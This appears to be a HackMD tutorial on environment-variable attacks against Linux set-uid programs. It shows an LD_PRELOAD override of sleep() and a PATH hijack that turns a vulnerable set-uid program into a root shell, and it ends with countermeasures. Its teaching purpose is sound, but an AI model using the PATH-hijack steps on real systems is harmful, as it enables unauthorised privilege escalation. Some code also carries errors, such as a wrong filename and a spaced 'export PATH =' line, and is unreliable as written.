Try   HackMD

Environment variables attack

What is environment variable

Environment variables are set of dynamic name-value pairs stored inside a process, they affect a process's behaviour. For example, when a process is executed by a shell process, it uses an environment variable named PATH to find where a program is (if the full path of the program is not specified).

But where do a process get its environment variable? The answers is a process initially get its environment variables through one of two way:

  • If a process is a new one (fork in C), the child's process inherits all environment variables of parent process since its memory is duplicated from parent's memory.
  • If a process run a new program itself (execve in C), it overwirtes all of its current memory, this leads to all of its previous environment variables is lost, unless it passes its environment when invoking new process.

How do the attack happen?

Overview

In an attack, environment variable is usually used as input of a set-uid program. What makes environment variables danger is that in most of the time, the developers of the program are not aware of the usage of its. This leads to the leak of sanitizing these inputs, which may affect the behavior of a program.

We can categorize the attack surface of environment variables into

2 main categories:

  • Linker: A linker is used to find the external library functions used by a program. In most operating systems the linker use environment variables to find where the libraries are. By that, malicious user can make use of this and cause a priviledged program to "find" their malicious libraries first instead of the developer's intended library.
  • Application: in this surfaces, problem comes from the wrong in implementation of application. Those wrong are divided into
    3
    type: library, external program and application itself.
    • Library: some external libraries can contain library vulnerability since they are not developed for privileged programs, and therefore may not sanitize the values of environment variables well. This can leads to attack in the environment variables that these external functions using.
    • External program: When a program invoke external programs for certain functionalities, such as sending emails, processing data, etc, its code runs with the calling process's privilege. The external program may use some environment variables that are not used by the caller program and therefore expanded the attack surface.
    • Application code: when a program use environment variables itself, misunderstanding how the variables get into program may cause to incorrect sanitization of it.

Linker attack: the LD_PRELOAD environment variable

During the linking stage, the Linux dynamic linker searches some default folders for the library function used by the program. User can specify additional search places using the LD_PRELOAD and LD_LIBRARY_PATH environment variables.

The dynamic linker will search for shared libraries by path in the LD_PRELOAD variable first, then if not all functions are found, it will then search by path in the LD_LIBRARY_PATH. Since those two variable can be modified by user, this open an opportunity for attacker to control the outcome of the dynamic linking resources.

Now let's move to an example of this attack, assume that we have the following function:

/* mytest.c */
#include <unistd.h>

int main() {
    sleep(1);
    return 0;
}

When we compile the program, by default the sleep() function is dynamically liked with libc.so library of linux, the program will sleep for one second as expected.

$ gcc mytest.c -o mytest
$ ./mytest

However, if we have an program like this:

/* mytest.c */
#include <stdio.h>

void sleep(int s) {
    printf("I am not sleeping!\n");
}

Then we can make the sleep() function in mytest point to our sleep() function instead of the original function of libc.so by do these step:

$ gcc -c sleep.c
$ gcc -shared -o libmylib.so.1.0.1 sleep.o
$ export LD_PRELOAD=./libmylib.so.1.0.1
$ ./mytest
I am not sleeping!

In the above commands, we first compile the sleep.c without linking. Next, we create a shared library named libmylib.so.1.0.1 from the compiled file. finally, we modify the LD_PRELOAD variable for prior our library when searching for function. The result is that the sleep() function is overwrited by our malicious function.

But is this technique work with Set-UID program? The answer is NO, since the dynamic linker ld.so has a countermeasure ignoring the LD_PRELOAD variable as well as LD_LIBRARY_PATH variable when real and effective user ID differ. However, if we have use custom environment variable in our code, like LD_MYOWN, then the dynamic linker will not ignore this and we will have to sanitize it by ourself, otherwise attacker can make use of it.

External program attack: the PATH environment variable

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Shell program's behaviour are affected by many environment variables. The most common one is the PATH environment variable. Consider the following set-uid program:

/* The vulnerable program (vul.c) */ 
#include <stdlib .h> 
int main() {
    system("ls");
}

We can compile and set it as set-uid program by do following commands:

$ gcc -o vul vul.c
$ sudo chown root vul
$ sudo chmod 4755 vul

In the above code, the developer intends to run the ls command to list all the file and folder of current path. But the question here is: how does the program can find the ls program? The answer is it will look for the ls in paths given by PATH environment variable:

$ env | grep PATH
PATH=/home/seed/Downloads/...

By that, it will find the ls program at /usr/bin/ls. However, user can easily change the PATH environment variable by the export command. Now assume that we have the following program located at /malicious folder:

/* our malicious "ls" program*/ 
#include <stdlib.h> 
int main() 
{
    system( "/bin/sh");
}

What if we compile this program as ls and modify the PATH environment variable so that it will find the program in our folder first?

$ gcc malicious.c -o ls
$ export PATH = /malicious:$PATH

This will causes the program to find ls program as /malicious/ls program, which is an malicious program. Since our vul program is set-uid, the ls program will be invoked with root permission, and by that the system( "/bin/sh") will invoke a privileged shell, which is very dangerous:

$./vul
#

However, a modern bash shell has a countermeasure to downgrade the invoked shell of set-uid program. As a result, this attack is only works on outdated machine.

Countermeasures

To reduce the vulnerability of environment variables, we have some solution:

  • Carefull use environment: Never trust the content of environment variables, neither explicit nor implicitm, always remove or sanitize them before use in a privileged program.
  • Use service approach: different from set-uid approach, in the service approach, normal users have to request a privileged service to start a program, so environment variables are passed by the service, not the user.